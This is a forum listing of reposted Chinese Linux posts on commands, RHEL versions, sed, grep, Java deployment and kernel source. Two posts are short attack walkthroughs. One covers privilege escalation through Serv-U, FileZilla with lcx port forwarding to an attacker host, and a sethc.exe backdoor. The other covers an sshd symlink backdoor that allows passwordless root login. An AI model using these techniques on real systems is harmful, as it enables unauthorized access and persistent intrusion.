• [技术干货] 为啥离不了 linux-转载
    前言   Linux是一种免费使用和自由传播的类Unix操作系统,是一个多用户、多任务、支持多线程和多CPU的操作系统。它能运行主要的UNIX工具软件、应用程序和网络协议。它支持32位和64位硬件。Linux继承了Unix以网络为核心的设计思想,是一个开放源代码的系统,其内核由林纳斯·本纳第克特·托瓦兹(Linus Benedict Torvalds)于1991年10月5日首次发布 。 linux 优势 Linux的优点有很多,以下是一些主要的优点: 开源。Linux的主要优点之一是它是一个开放源代码的操作系统,即,每个人都可以轻松获得其源代码。任何有编码能力的人都可以出于任何目的贡献,修改,增强和分发代码给任何人。 安全性。与Windows相比,Linux更加安全。这是因为Linux内核的设计使得它比Windows更加安全。此外,Linux还有一个强大的社区,可以提供帮助和支持。 稳定性。Linux是一个非常稳定的操作系统。它可以在长时间运行后仍然保持稳定,而不会崩溃或出现其他问题。 可定制性。Linux可以根据用户的需求进行定制。用户可以根据自己的需要选择安装哪些软件和配置哪些选项。 免费。Linux是免费的,这意味着用户不需要支付任何费用就可以使用它。 一些简单常用的命令  cd:切换目录  ls:列出当前目录下的文件列表  pwd:显示当前工作目录的路径  mkdir:创建新目录  mkdir -p /opt/test/img:在/opt/test目录下创建目录img,若无test目录,先创建test目录  rmdir:删除空目录  rm:删除文件或目录  rm -rf test:删除test目录,-r递归删除,-f强制删除。危险操作,务必小心,切记!  cp:复制文件或目录  mv:移动或重命名文件或目录  touch:创建新的空文件或修改现有文件的时间戳  cat:查看文件内容  grep:在文件中查找指定字符串  find:查找文件或目录  chmod:修改文件或目录的访问权限  chown:修改文件或目录的所有者  top:查看内存/显示系统当前进程信息  df -h:查看磁盘储存状况  iotop:查看IO读写(yum install iotop安装)  iotop -o:直接查看比较高的磁盘读写程序  netstat -tunlp | grep 端口号:查看端口号占用情况(1)  lsof -i:端口号:查看端口号占用情况(2)  uptime:查看报告系统运行时长及平均负载  ps aux:查看进程 开源   开源意味着没有后门,你的隐私性得到了极大的保证。当你不了解一个操作系统的源代码时,你怎么能确保它没有后门呢?如果制造商公司留了一个隐秘的后门,当你连接到网络的时候,这会让你的隐私无所遁形。而在Linux上,任何东西都是开放的,既然是开放的,代表所有的人都可以参与进来。因此是没有后门可以隐藏在操作系统里的。  优雅   相信用过windows的,安装软件时一定都是过五关斩六将(打开浏览器,搜索你想要的软件,细心观察避开广告,当终于找到一个看起来比较靠谱的网站时,还得细细的去看下载地址之类的,而要避开巨大的下载按钮,最后在安装的时候,也不能大意,还得注意各种微小的勾选项,一旦一不小心漏掉一个了,就会发现电脑似乎有点卡顿,不一会儿,一些奇奇怪怪的玩意儿就会出现在你的桌面上),这样一路提心吊胆小心翼翼的躲过一路的妖魔鬼怪的繁杂的步骤才下载下来的吧。 而在 linux 下,通过简单的命令,就能搞定整个安装。你不需要担心弹窗,不需要烦心广告,不需要担心被要求强制更新也不需要频繁的去清理垃圾(而且linux 不需要选择软件是放 c 盘还是 d 盘等等,它已经定义好了哪些文件该放在哪些地方上了。)  安全而稳定   linux 不需要担心一不小心被误删东西之类的,几乎所有的复杂任务都需要root权限。Linux基本上都是热插拔的。很少崩溃、蓝屏、死机。linux 不需要频繁的开关机,即使你总是保持在线状态也不会很卡顿,但是windows 如果长时间处于开机状态,你可能会发现你的电脑变得很卡。    Linux之所以安全和稳定,是因为它的内核设计得非常优秀。Linux内核的设计目标是尽可能地减少系统崩溃和漏洞,同时提供足够的安全性和稳定性。此外,Linux社区非常活跃,有大量的开发者和用户,他们会不断地发现和修复漏洞,从而提高了系统的安全性。    另外,Linux的开源性质也使得它更加安全。由于任何人都可以查看和修改Linux内核源代码,因此任何可能存在的漏洞都可以被及时发现并修复。 ———————————————— 版权声明:本文为CSDN博主「家有娇妻张兔兔」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/wodejiaAA/article/details/131436822 
  • [技术干货] 红帽RHEL8和7的区别对比分享(Centos8与7参照redhat)
    红帽RHEL8与RHEL7的区别1. 红帽RHEL8和RHEL7功能区别对比1.1 默认的文件系统RHEL8与RHEL7都是采用XFS1.2 RHEL8与RHEL7的内核版本分别是多少关于内核版本,RHEL8和7的区别如下:RHEL8采用4.18.0-xRHEL7采用3.10-0-x1.3 内核代码名字关于内核代码,RHEL8和7的区别如下:RHEL8采用2019-05-07 (Kernel Version 4.18.0-80)RHE7采用2014-06-09 (Kernel Version 3.10.0-123)1.4 标准/默认的仓库频道关于仓库频道,RHEL8和7的区别如下:RHEL8Repo ID: rhel-8-for-x86_64-appstream-rpmsRepo Name: Red Hat Enterprise Linux 8 for x86_64 - AppStream (RPMs)Repo ID: rhel-8-for-x86_64-baseos-rpmsRepo Name: Red Hat Enterprise Linux 8 for x86_64 - BaseOS (RPMs)RHEL7Repo ID: rhel-7-server-rpmsRepo Name: Red Hat Enterprise Linux 7 Server (RPMs)1.5 网络时间同步关于网络时间同步,RHEL8和7的区别如下:RHEL8只使用Chronyd,不支持NTP部署。RHEL7Chronyd与NTP两者都支持1.6 支持最大的文件关于支持最大的文件,RHEL8和7的区别如下:RHEL8XFS文件系统支持的最大文件大小已从500 TiB增加到1024 TiB。(此最大文件大小仅适用于64位机器。Red Hat Enterprise Linux不支持32位机器上的XFS.)RHEL7最大. (单独) 文件大小= 500TiB最大. 文件系统大小 = 500TiB1.7 软件包管理关于软件包管理,RHEL8和7的区别如下:红帽8包管理由DNF (YUMv4)完成。yum4基于DNF技术,yum4命令提供了与早期版本中使用的Yum v3的向后兼容性。yum命令只是到dnf的一个符号链接。红帽7yum基于3.0.x版本1.8 最大支持的内存关于最大支持的内存,RHEL8和7的区别如下:红帽824TB,64位架构红帽7:只支持12TB1.9 默认的网络数据包过滤关于默认的网络数据包过滤,RHEL8和7的区别如下:RHEL8使用nftables取代了iptables框架nftables是默认的网络包过滤,它取代了以前的iptables框架。firewalld守护进程现在使用nftables作为默认后端。这将取代以前使用的“iptables”、“ip6tables”、“arptables”和“ebtables”工具。“nftables”确实为IPv4和IPv6协议提供了一个单一的框架。而RHEL7 firewalld守护进程使用iptables作为其默认后端。1.10 默认的数据库关于默认的数据库,RHEL8和7的区别如下:RHEL8默认支持的数据库:MySQL 8.0MariaDB 10.3PostgreSQL 10 and PostgreSQL 9.6Redis 5.0MariaDB是Red Hat Enterprise Linux 7中MySQL的默认实现1.11 支持的硬件架构关于支持的硬件架构,RHEL8和7的区别如下:RHEL8支持以下硬件架构AMD and Intel 64-bit architecturesThe 64-bit ARM architectureIBM Power Systems, Little EndianIBM ZRHEL7支持以下硬件架构:64-bit AMD64-bit IntelIBM POWER7IBM System z1.12 可供安装的ISO镜像类型关于可供安装的ISO镜像类型,RHEL8和7的区别如下:RHEL 8可以使用以下类型的ISO镜像安装:Binary(二进制) DVD ISOBoot ISO在RHEL7中,可以使用以下可用的ISO镜像进行安装:Boot ISOBinary(二进制) DVD ISOSupplementary(追加的) Binary DVD1.13 默认情况下的Cockpit web控制台的安装状态关于默认情况下的Cockpit web控制台的安装状态,RHEL8和7的区别如下:在RHEL8中,Cockpit是默认安装和可用的。这将在非最小模式下自动安装,并在防火墙中启用所需端口。Cockpit提供了一个增强的框架,可以用来访问/编辑/更改许多系统设置。这提供了通过web接口的访问,可以使用浏览器访问url地址http://:9090进行管理。在RHEL7系统中,Cockpit默认情况下没有安装,需要通过启用extra和optional存储库通道来安装。1.14 默认虚拟机管理关于默认虚拟机管理,RHEL8和7的区别如下:在RHEL8系统中,默认情况下,它由Cockpit管理。如果需要,还可以安装virt-manager。而在RHEL7系统中virt-manager将用于基于KVM的虚拟系统管理。1.15 RMP版本的改进关于RMP版本的改进,RHEL8和7的区别如下:Red Hat Enterprise Linux 8是用RPM 4.14发布的。现在,RPM在开始安装之前验证整个包的内容。这有很多改进,其中一些值得注意的功能是:debuginfo包可以并行安装支持弱依赖关系支持丰富的或布尔依赖支持封装文件超过4 GB的大小支持文件触发器构建在RHEL8上的包在压缩负载上使用一个新的SHA-256散列。而Red Hat Enterprise Linux 7是用RPM 4.11发布的。在RHEL7上,RPM实用程序在解压时验证单个文件的有效负载内容。1.16 CUPS日志关于CUPS日志,RHEL8和7的区别如下:RHEL8所有类型的CUPS日志都与来自其他程序的日志一起集中记录在systemd journald守护进程中。要访问CUPS日志,请使用“journalctl -u CUPS”命令。而RHEL7系统上,CUPS日志被存储中 /var/log/cups directory.nobody用户替换nfsnobodyrhel8系统上,nobody和nfsnobody用户和组合并到nobodyID(65534)中。在Red Hat Enterprise Linux 7中,有:ID为99的nobody用户和组nfsnobody用户和组对的ID为65534,这也是默认的内核溢出ID。1.17 默认版本的控制系统关于默认版本的控制系统,RHEL8和7的区别如下:RHEL 8提供以下版本控制系统:Git 2.18Mercurial 4.8Subversion 1.10并发版本系统(CVS)和版本控制系统(RCS)在RHEL8中都不可用。而Red Hat Enterprise Linux 7与三个最流行的开源修订控制系统一起发布:Git、SVN和CVS。1.18 编程语言版本关于编程语言版本,RHEL8和7的区别如下:RHEL8新版本编程语言Python 3PHP 7.2Ruby 2.5Node.js 10而RHEL7支持以下编辑语言Python 2 ( 2.7.X)PHP 5.4Ruby 2.0.01.19 关于容器技术的支持关于容器技术的支持,RHEL8和7的区别如下:Docker不包括在RHEL 8.0中。使用容器时,需要使用podman、buildah、skopeo和runc工具。podman工具已经作为一个完全支持的特性发布了。Docker和Docker Registry是Red Hat Enterprise Linux 7中的Extras订阅频道的一部分。1.20 开发工具支持关于开发工具支持,RHEL8和7的区别如下:RHEL 8提供OpenJDK 11、OpenJDK 8、IcedTea-Web和各种Java工具,如Ant、Maven或Scala。在RHEL7中,OpenJDK8用作默认的Java开发工具包(JDK),而Java 8用作默认的Java版本。1.21 NFS配置对比关于NFS配置对比,RHEL8和7的区别如下:RHEL8的NFS配置文件是/etc/ NFS .conf。当从RHEL7升级时,Red Hat Enterprise Linux 8尝试自动将所有选项从/etc/sysconfig/nfs转换为/etc/nfs。并不再支持NFS / UDP。而RHEL7中,默认的NFS配置文件是/etc/sysconfig/ NFS1.22 默认的显示服务器关于默认的显示服务器,RHEL8和7的区别如下:在RHEL 8中,Gnome display Manager使用的默认显示服务器是Wayland。X.org服务器是RHEL 7中的默认显示服务器2. RHEL8额外新功能新特性2.1 elevator内核命令行参数被废弃早期的RHEL版本中使用了elevator内核命令行参数来设置所有设备的磁盘调度程序。在RHEL 8中,该参数被弃用。上游Linux内核已经取消了对elevator参数的支持,但是出于兼容性的原因,RHEL 8中仍然可以使用它。2.2 网络脚本被废弃在RHEL 8中,网络脚本在默认情况下不可用。有一个新版本的ifup和ifdown正在使用,这将需要NetworkManager守护进程运行,并在后端使用nmcli。如果需要早期的网络脚本,则必须安装“network-scripts”包。2.3 新内核支持5级paging在早期版本中,有4级分页实现,可以处理48/46位虚拟/物理地址,并且物理总线上限为64TB。在即将推出的Intel处理器中,这些限制已经扩展到57/52位的虚拟/物理内存寻址,具有128 PiB的虚拟地址空间和4 PB的物理内存容量。2.4 Anaconda支持RHEL 8中的系统目标以前,Anaconda没有向订阅管理器提供系统用途信息。在Red Hat Enterprise Linux 8.0中,您可以在安装期间使用Anaconda的system purpose窗口或Kickstart的syspurpose命令设置系统的预期目标。2.5 CodeReady Linux构建器仓库有一个CodeReady Linux构建器存储库,可用于所有RHEL订阅。这为开发人员提供了额外的包。CodeReady Linux构建器存储库中包含的包不支持生产使用。2.6 改进版本的OpenSSHOpenSSH的版本是7.8p1,与早期版本相比有很多改进。其中一些是:不再支持SSH version 1.默认不开启DNS支持.最小可接受RSA密钥大小设置为1024位.移除 'Blowfish', 'CAST', 'RC4' ciphers.默认关闭DSA 公钥算法.2.7 RHEL8中不支持数字用户名和组名useradd和groupadd命令不允许用户名和组名完全由数字字符组成。这是RHEL7中不支持的特性,现在RHEL8完全不支持它。2.8 默认情况下,securetty现在是禁用的默认情况下禁用了securetty PAM模块,并且从RHEL8中删除了/etc/securetty文件。2.9 改进的TCP网络栈RHEL 8拥有TCP网络栈版本4.18,可以提供更高的性能、更好的可伸缩性和更稳定的性能。性能得到了提高,特别是在繁忙的TCP服务器与高进入连接速率。除了新的TCP栈之外,还有两种新的TCP拥塞算法。在大多数情况下,BBR和NV可以提供比cubic更低的延迟和更好的吞吐量。2.10 高可用性(HA)在Red Hat Enterprise Linux 8中,pcs完全支持Corosync 3集群引擎和用于集群通信的Kronosnet (knet)网络抽象层。无法将集群节点从RHEL7就地升级到RHEL8。2.11 lvmlockd取代了clvmd用于管理共享存储逻辑卷的clvmd已被删除,取而代之的是lvmlockd(lvm lock 守护进程) 镜像下载地址CentOS 8 下载:https://centos.org/download/国内镜像下载:https://mirrors.tuna.tsinghua.edu.cn/centos/到此这篇关于红帽RHEL8和7的区别对比分享(Centos8与7参照redhat)的文章就介绍到这了转载自https://www.jb51.net/article/271516.htm
  • [技术干货] /bin/sh -c干什么的
    解决命令的权限问题,可以扩大权限的范围Linux系统由于其开放性、多用户、多任务和多线程、设备独立性、丰富的网络功能等优点受到大家的欢迎,越来越多的人想要去了解甚至学习Linux,而Linux功能通常是通过繁多的各类命令来实现的,所以学习Linux命令是基础,掌握好各种命令才能玩转Linux,但是Linux命令太多了,全部记住的话确实不容易也没必要,因为有些命令用的比较少,等用到的时候再记忆就可以。但一些常用到的命令是要必须掌握的。下面我就介绍一下Linux常见命令及分类。Linux命令分类的话可分为文件管理类,文档编辑类,系统管理类,磁盘管理类,文件传输类,网络通讯类,设备管理类,备份压缩类及其他命令等。比如要向 test.asc 文件中随便写入点内容,可以:$ echo "信息" >> test.csv如果将 test.asc 权限设置为只有 root 用户才有权限进行写操作:$ sudo chown root.root test.csv然后,我们使用 sudo 并配合 echo 命令再次向修改权限之后的 test.asc 文件中写入信息:`$ sudo echo "hahah" >> test.csv`-bash: test.asc: Permission denied这时可以看到 bash 拒绝这么做,说是权限不够。这是因为重定向符号 “>” 和 ">>" 也是 bash 的命令。我们使用 sudo 只是让 echo 命令具有了 root 权限,但是没有让 “>” 和 ">>" 命令也具有 root 权限,所以 bash 会认为这两个命令都没有像 test.csv文件写入信息的权限。解决这一问题的途径有两种。第一种是利用 "sh -c" 命令,它可以让 bash 将一个字串作为完整的命令来执行,这样就可以将 sudo 的影响范围扩展到整条命令。具体用法如下:$ sudo /bin/sh -c 'echo "hahah" >> test.asc'另一种方法是利用管道和 tee 命令,该命令可以从标准输入中读入信息并将其写入标准输出或文件中,具体用法如下:$ echo "hahah" | sudo tee -a test.asc注意,tee 命令的 "-a" 选项的作用等同于 ">>" 命令,如果去除该选项,那么 tee 命令的作用就等同于 ">" 命令对于编程的影响:shell脚本中如果有多个echo命令,如果不适用/bin/sh -c执行脚本,那么在java中使用BufferedReader获取脚本的输出时,只能获取到第一个echo的输出,使用/bin/sh -c则能获取到所有的echo输出。原文链接:https://www.jianshu.com/p/bda8d3cbdbae
  • [技术干货] linux关于sed流编辑器那些事
    介绍:  流编辑器sed是最早支持正则表达式的工具之一,至今仍然被人们用来做文本处理。sed是一个脚本型、非交互式的编辑器。也就是说sed与常见的编辑器如vim有所不同,sed没有交互式的编辑界面,光标移动以及庞大的快捷键功能。工作原理:  sed是一次处理一行内容。处理时,把当前处理的行存储在临时缓冲区中,接着用sed命令处理缓冲区中的额内容,处理完成后,再把缓冲区的内容输出到屏幕中去,口恶者采集下一行代码,这样不断的重复,直到文件末尾,除非使用重定向存储输出,否则文件内容并不改变,sed主要用来编辑一个或多个文件,简化对文件的反复操作,编写转换程序等。  一般情况下sed分为俩个内缓冲区,分别为模式空间和保持空间。sed会把第一行的内容装入模式空间,处理后输出到屏幕,然后继续把第二行内容装入到模式空间,在进行处理,依次循环直到结束。也可以大致的分为三步:  第一步:sed每次将标准输入中的内容中的一行读入模式空间  第二步:之后根据模式空间中的匹配条件进行匹配,符合条件进入下一阶段不满足则默认到输出为止,退出!  第三步:普通编辑之后可分为三个阶段             (1)普通结束后选择性的显示到stdout 结束;             (2)进入保持空间进行高级编辑,编辑结束后选择性显示到模式空间,之后再根据编辑命令重复。             (3)若出现多次编辑命令,则需要再返回模式空间根据编辑条件重复。作者:泽宇-Li
  • [技术干货] Linux部署Java项目-转载
     一、启动虚拟机 使用RockyLinux来实现  启动后登录rockylinux sudo su - 修改root用户密码 passwd 切换到客户端软件连接虚拟机 ifconfig 或  ifconfig | more 查看ip地址使用Bvssh软件连接   二、安装java环境 连接成功后,打开命令行界执行安装Java的命令:  yum install java 运行过程中出现y/N的选择,输入y,按回车 yum安装好的Java会自动配置环境变量  验证安装:  java -version 三、创建java项目 创建SpringBoot项目,勾选 Spring Web依赖  项目创建好之后,在项目的resources目录下static下创建html文件或复制需要的资源。  此处插入了一个名为index的html文件和一张名为image.PNG的图片。   内容编写完毕,在侧边栏选中maven运行package打包命令(右击并选中Run Maven Build)  打包成功后在target文件夹中找到生成的jar包  将生成的jar包拖入Bvssh软件提供的复制文件的工具中  选中New SFTP window,将文件拖入Remote files中   转到linux命令行  关闭防火墙(启动Springboot项目的界面不能关,可以新开一个界面输入命令) systemctl stop firewalld  输入ll(两个小写的L) ll 观察当前目录是否有我们拖入的jar文件。  若存在,执行运行jar文件的命令  java -jar [jar包名称]  例如:java -jar demo-0.0.1-SNAPSHOT  注意:[jar包名称]可以敲前面几个字母,按Tab自动补全 若顺利启动,会看到Spring的图形Logo  然后可以在windows中打开浏览器访问项目:[ip地址]:8080  例如:178.120.2.13:8080 演示效果如图所示:  ———————————————— 版权声明:本文为CSDN博主「Etseat」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/qq_58480518/article/details/127873085 
  • [技术干货] 第三方软件提权  
    介绍:很多时候可能系统本身很安全,但是往往会忽略一些应用程序存在的漏洞,当然对于应用程序来说,可能本身设计得很安全,但是由于用了其他有漏洞的第三方组件而导致自身出现了很严重的漏洞。当收集信息时发现安装了某些第三方软件时,可通过定位其版本去寻找相关漏洞提权,下面将介绍几种比较经典的第三方软件提权。 1.Serv-U提权 Serv-U是一款FTP服务器软件,可用于服务器文件管理,在一些低版本的Serv-U 中存在提权的风险,下面以 Serv-U 6.4.0.4 为例,它的密码文件是“ServUDaemon.ini”,黑客拿到 Shell 后可以对该文件进行操作,并可以通过直接添加管理用户或者破解管理用密码的方式进行提权。 拿到一个低权限 Shell 后查看启动的服务,由于系统本身启动了很多服务,定位到服务后先收集此服务的信息为后续操作做准备,上传“accesschk.exe”,运行命令“accesschk.exe -ucqv Serv-U/accepteula”查看系统服务权限,发现users组户了“SERVICE START”和“SERVICE_STOP”,也就是可以启动和关闭该服务。2:FileZilla 提权 FileZillaFP服务器,台认监听14147端口,若配置不当,会造成低权限用户从FileZila件中读取信息,非法接后台,进而进行提权。运行命令“net start| findstr FileZilla”查看服务发现安装了FileZilla,运行命令“netstat-ano| findstr14147”查看14147端口,发现端口14147处于监听 状态。使用Webshell管理工具,从FileZilla安装目录的“FileZillaServerxml”文件中找到后台配置信息,发现未配置后台连接密码。下面考虑是否可以通过“lcx”将14147端口转发出来,然后接后台。首先在攻击机运行命令“lcx-listen1111 2222”监听1111端口并转发到2222端口使用,再使用 Webshell管理工具上传“lcx”,在靶机运行“1cx-slave 127.0.01 14147 192.168.0.123 1111”命令,将FileZilla的14147端口转发到攻击机的1111端口。然后用攻击机连接本地的2222 端口便可以连接FileZilla,通过图形化界面便可以添加用户和添加分享目录C盘,并授予所有的权限,这时候便可以利用Shift后门提权。由于给C盘授予了所有权限,所以可以通过使用 cndexe”替换“sethc.exe”,替换成功后远程连接目标系统,不需要登录系统,直接按次Shifit 镜并出 cmd 窗口,可直接以System权限执行系统命令。只做技术交流哦!
  • [技术干货] linux权限维持
    介绍:sshd 软连接是Linux 下很经典的一种权限维持方法,其中涉及的一个比较重要的模块是“pam_rootok.so”模块,“pam_rootok.so”模块的功能是若用户UID 是0,则返回成功,当“/etc/pamd/ssh”文件配置了“auth sufficient pam rootok.so”时可以不需要密码登录。当在被控制端执行命令“ln-sf/usr/sbin/sshd/tmp/su;/tmp/su-oPort=1234”建立sshd的软连接后门,PAM认证时会根据软连接的名字到“/etc/pam.d”目录寻找对应到PAM认证文件,由于软连接的文件名为“su”,所以SSH的认证文件就被替换成了“/etc/pam.d/ su”,而“su”中默认配置了“auth sufficient pam rootok.so”,从而导致SSH可以不需要密码登录。 步骤:下面介绍一个sshd软连接权限维持的实例。 通常SSH服务默认使用PAM进行身份验证,运行命令“cat/etc/ssh/sshd_config grepUsePAM”查看“letc/ssh/sshd_config”是否开启 PAM 认证。然后运行命令“ln-sf/usr/sbin/sshd/tmp/su;/tmp/su-oPort-1234”建立sshd的软连接后门,运行成功后便可以用root用户使用任意密码登录。注意:创建 使用任意密码登录系统,这里可能会失败,原因主要有两个,一是root 用户禁止远  程登录,再者就是系统防火墙策略阻挡。运行命令“ssh root:1111@192.168.0.106 1234”发现成功登录到了目标系统,
  • [内容拦截申诉] 【博客】图文并茂!手把手教你在VMware中的安装部署Linux-CentOS7.4
    发帖正文:内容所属频道:博客内容标题名称:图文并茂!手把手教你在VMware中的安装部署Linux-CentOS7.4内容链接: https://bbs.huaweicloud.com/blogs/397475审核未通过,麻烦帮忙看看什么原因,如何修改
  • [问题求助] 有谁知道怎么下载linux桌面的安装包,没什么别的想法,只是想体验以下手动安装桌面
    有谁知道怎么下载linux桌面的安装包,没什么别的想法,只是想体验以下手动安装桌面
  • [技术干货] linux中grep命令使用实战详解【转】
    一. grep命令介绍Linux系统中grep命令是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹 配的行打印出来。grep全称是Global Regular Expression Print,表示全局正则表达式版本,它的使用权限是所有用户。英文注解:grep ['grep] 搜索目标行命令· global [ˈgloʊbl] 全球的,球状的 regular 美 [ˈrɛɡjəlɚ] 有规律的,规则的, 正规军(n) expression 美 [ɪkˈsprɛʃən] 表达,表现,表情,脸色,态度例句: It's enough to make you wet yourself, if you'll pardon the expressionlinux支持三种形式的grep命令: grep , egrep ,grep -E二. 语法格式及常用选项依据惯例,我们还是先查看帮助,使用grep --help[root@mufeng test]# grep --help用法: grep [选项]... PATTERN [FILE]...在每个 FILE 或是标准输入中查找 PATTERN。默认的 PATTERN 是一个基本正则表达式(缩写为 BRE)。例如: grep -i 'hello world' menu.h main.c正则表达式选择与解释: -E, --extended-regexp PATTERN 是一个可扩展的正则表达式(缩写为 ERE) -F, --fixed-strings PATTERN 是一组由断行符分隔的定长字符串。 -G, --basic-regexp PATTERN 是一个基本正则表达式(缩写为 BRE) -P, --perl-regexp PATTERN 是一个 Perl 正则表达式 -e, --regexp=PATTERN 用 PATTERN 来进行匹配操作 -f, --file=FILE 从 FILE 中取得 PATTERN -i, --ignore-case 忽略大小写 -w, --word-regexp 强制 PATTERN 仅完全匹配字词 -x, --line-regexp 强制 PATTERN 仅完全匹配一行 -z, --null-data 一个 0 字节的数据行,但不是空行Miscellaneous: -s, --no-messages suppress error messages -v, --invert-match select non-matching lines -V, --version display version information and exit --help display this help text and exit输出控制: -m, --max-count=NUM NUM 次匹配后停止 -b, --byte-offset 输出的同时打印字节偏移 -n, --line-number 输出的同时打印行号 --line-buffered 每行输出清空 -H, --with-filename 为每一匹配项打印文件名 -h, --no-filename 输出时不显示文件名前缀 --label=LABEL 将LABEL 作为标准输入文件名前缀 -o, --only-matching show only the part of a line matching PATTERN -q, --quiet, --silent suppress all normal output --binary-files=TYPE assume that binary files are TYPE; TYPE is 'binary', 'text', or 'without-match' -a, --text equivalent to --binary-files=text -I equivalent to --binary-files=without-match -d, --directories=ACTION how to handle directories; ACTION is 'read', 'recurse', or 'skip' -D, --devices=ACTION how to handle devices, FIFOs and sockets; ACTION is 'read' or 'skip' -r, --recursive like --directories=recurse -R, --dereference-recursive likewise, but follow all symlinks --include=FILE_PATTERN search only files that match FILE_PATTERN --exclude=FILE_PATTERN skip files and directories matching FILE_PATTERN --exclude-from=FILE skip files matching any file pattern from FILE --exclude-dir=PATTERN directories that match PATTERN will be skipped. -L, --files-without-match print only names of FILEs containing no match -l, --files-with-matches print only names of FILEs containing matches -c, --count print only a count of matching lines per FILE -T, --initial-tab make tabs line up (if needed) -Z, --null print 0 byte after FILE name文件控制: -B, --before-context=NUM 打印以文本起始的NUM 行 -A, --after-context=NUM 打印以文本结尾的NUM 行 -C, --context=NUM 打印输出文本NUM 行 -NUM same as --context=NUM --group-separator=SEP use SEP as a group separator --no-group-separator use empty string as a group separator --color[=WHEN], --colour[=WHEN] use markers to highlight the matching strings; WHEN is 'always', 'never', or 'auto' -U, --binary do not strip CR characters at EOL (MSDOS/Windows) -u, --unix-byte-offsets report offsets as if CRs were not there (MSDOS/Windows)为了更直观一些,我们把常用的参数用表格来展示:参数描述-i忽略大小写-E启用POSTIX扩展正则表达式-P启用perl正则-o只输出正则表达式的匹配的内容-w整字匹配-v取反,也就是不匹配的-n输出行号有了具体的参数之后,我们再来看实战案例:三. 参考案例3.1 搜索文件中以root开头的文件以root开头的文件,可以用 ^root 比如查看/etc/passwd 中以root开头的文件,操作如下:12[root@mufenggrow ~]# grep ^root /etc/passwdroot:x:0:0:root:/root:/bin/bash3.2 搜索文件中出现的root搜某个单词,我们直接在grep后面跟上单词名字即可:案例一: 搜索/etc/passwd中的root用户1234[root@mufenggrow ~]# grep "root" /etc/passwdroot:x:0:0:root:/root:/bin/bashoperator:x:11:0:operator:/root:/sbin/nologin[root@mufenggrow ~]# 案例二: 从多个文件中搜索root12345678root@mufenggrow ~]# echo root >> a.txt[root@mufenggrow ~]# echo root >> b.txt[root@mufenggrow ~]# grep "root" /etc/passwd  a.txt b.txt/etc/passwd:root:x:0:0:root:/root:/bin/bash/etc/passwd:operator:x:11:0:operator:/root:/sbin/nologina.txt:rootb.txt:root[root@mufenggrow ~]# 3.3 搜索除了匹配行之外的行此处使用-v 参数,比如取反案例一: 统计文件的行数且不包含空行空行的表示方法: ^$123456789101112[root@mufenggrow ~]# cp /etc/passwd ./## 源文件一共35行[root@mufenggrow ~]# cat /etc/passwd |wc -l35## 追加空行进去[root@mufenggrow ~]# echo "" >> /etc/passwd[root@mufenggrow ~]# cat /etc/passwd |wc -l36## 去掉空行测试[root@mufenggrow ~]# grep -v ^$  /etc/passwd |wc -l35[root@mufenggrow ~]# 有时候我们修改了配置文件,文件中包含大量的# ,我们想去掉#查看内容,就可以使用12[root@mufenggrow ~]# grep -v ^# passwd |wc -l353.4 匹配的部分使用颜色显示这里可以使用 --color=auto,我们来查看一下包含root的行,并高亮显示要查找的root。1234[root@mufenggrow ~]# grep root /etc/passwd  --color=autoroot:x:0:0:root:/root:/bin/bashoperator:x:11:0:operator:/root:/sbin/nologin[root@mufenggrow ~]# 这样显示,效果不明显,我们看下图:可以看到,所有的root都是红色表示的。3.5 只输出文件中匹配到的地方比如我们要查询root,但我不想显示包含root的行,而是只显示要查询的内容:此时需要使用 -o 参数,代码如下12345[root@mufenggrow ~]# grep -o root /etc/passwdrootrootrootroot要注意,如果一行中有10个root,这里就显示10个,而不是只显示一个,所以3.4的案例中我们查询的时候,包含root的有两行,但有4个root,在3.5案例中,显示了所有的root。3.6 输出包含匹配字符串的行,并显示所在的行数此处可以使用-n 参数, -n 会在一行的前面加上 行号: 比如“4:”我们来看下代码示例:123[root@mufenggrow ~]# grep -n "root" passwd1:root:x:0:0:root:/root:/bin/bash11:operator:x:11:0:operator:/root:/sbin/nologin我们要统计一个文件一共有多少行,也可以使用-n 参数12root@mufenggrow ~]# grep -n "" passwd |awk -F : '{print $1}' |tail -n 1353.7 统计文件或者文本中包含匹配字符串的行数此时可以用-c参数:12[root@mufenggrow ~]# grep -c "root" passwd2包含root的有两行, 如果我们要统计文本的行数:12[root@mufenggrow ~]# grep -c "$" passwd35相当于查找 $的行数,可以看到一共有35个$符号,也就是35行。总结grep命令在日常工作中,应用的比较广泛,一定要认真学习,记熟记牢常用参数。转载自https://www.jb51.net/article/275765.htm
  • [技术干货] Linux中文件系统truncate.c详解【转】
    Linux-0.11 文件系统truncate.c详解free_ind1static void free_ind(int dev,int block)该函数的作用是释放所有的一次间接块。该函数首先读取一次间接块到bh中, 该bh块中存储了512个盘块号。1234567struct buffer_head * bh;unsigned short * p;int i;if (!block)    return;if ((bh=bread(dev,block))) {接下来就对这512个盘块号进行遍历,如果盘块号不为0, 就调用free_block(bitmap.c中)释放该盘块。遍历完毕之后,将一次间接块的bh块引用计数减1。最后将这个一次间接块也进行释放。12345for (i=0;i<512;i++,p++)    if (*p)        free_block(dev,*p);brelse(bh);free_block(dev,block);free_dind1static void free_dind(int dev,int block)该函数的作用就是释放所有的二次间接块。该函数首先对盘块号的有效性进行校验。123456struct buffer_head * bh;unsigned short * p;int i;if (!block)    return;接着读取二次间接块到bh中, 该bh块中存储了512个一次间接块的盘块号。接下来就对这512个一次间接块的盘块号进行遍历,如果盘块号不为0, 就调用free_ind释放该一次间接块所有的block。遍历完毕之后,将二次间接块的bh块引用计数减1。最后将这个二次间接块也进行释放。12345678if ((bh=bread(dev,block))) {    p = (unsigned short *) bh->b_data;    for (i=0;i<512;i++,p++)        if (*p)            free_ind(dev,*p);    brelse(bh);}free_block(dev,block);truncate1void truncate(struct m_inode * inode)该函数的作用是释放该inode所占据的磁盘空间。 该函数在iput函数(inode.c)中如果文件的链接数为0的时候被调用。代码最开始检查如果不是常规文件或者是目录文件,就跳过。1234int i;if (!(S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode)))    return;释放直接引用块。12345for (i=0;i<7;i++)    if (inode->i_zone[i]) {        free_block(inode->i_dev,inode->i_zone[i]);        inode->i_zone[i]=0;    